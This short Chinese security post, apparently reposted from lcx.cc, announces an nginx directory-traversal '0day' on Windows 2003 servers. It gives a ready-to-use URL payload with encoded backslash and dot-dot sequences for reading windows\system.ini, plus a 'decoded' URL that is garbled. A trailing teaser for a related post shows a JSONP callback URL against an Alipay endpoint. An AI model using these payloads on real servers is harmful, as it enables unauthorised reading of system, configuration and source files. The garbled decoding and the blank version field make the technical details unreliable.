【漏洞】nginx遍历目录0day

针对版本：
测试系统：windows2003服务器

通过“../”来操控URL，不仅能遍历web的目录，还能遍历web服务器上的任意目录（包括系统目录)，甚至程序文件的源代码，配置文件，和关键的系统文件。

例子：

http://localhost/%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5csystem.ini

URL解密：

http://localhost/..............windowssystem.ini文章来源于lcx.cc:【漏洞】nginx遍历目录0day

相关推荐: JSON应用：判断支付宝是否登录

JSON应用：判断支付宝是否登录 专注XSS三十年 | 2014-12-31 03:16 通过JSON判断登录状态 https://lab.alipay.com/user/msgcenter/getMsgInfosNew.json?_callback=xss&…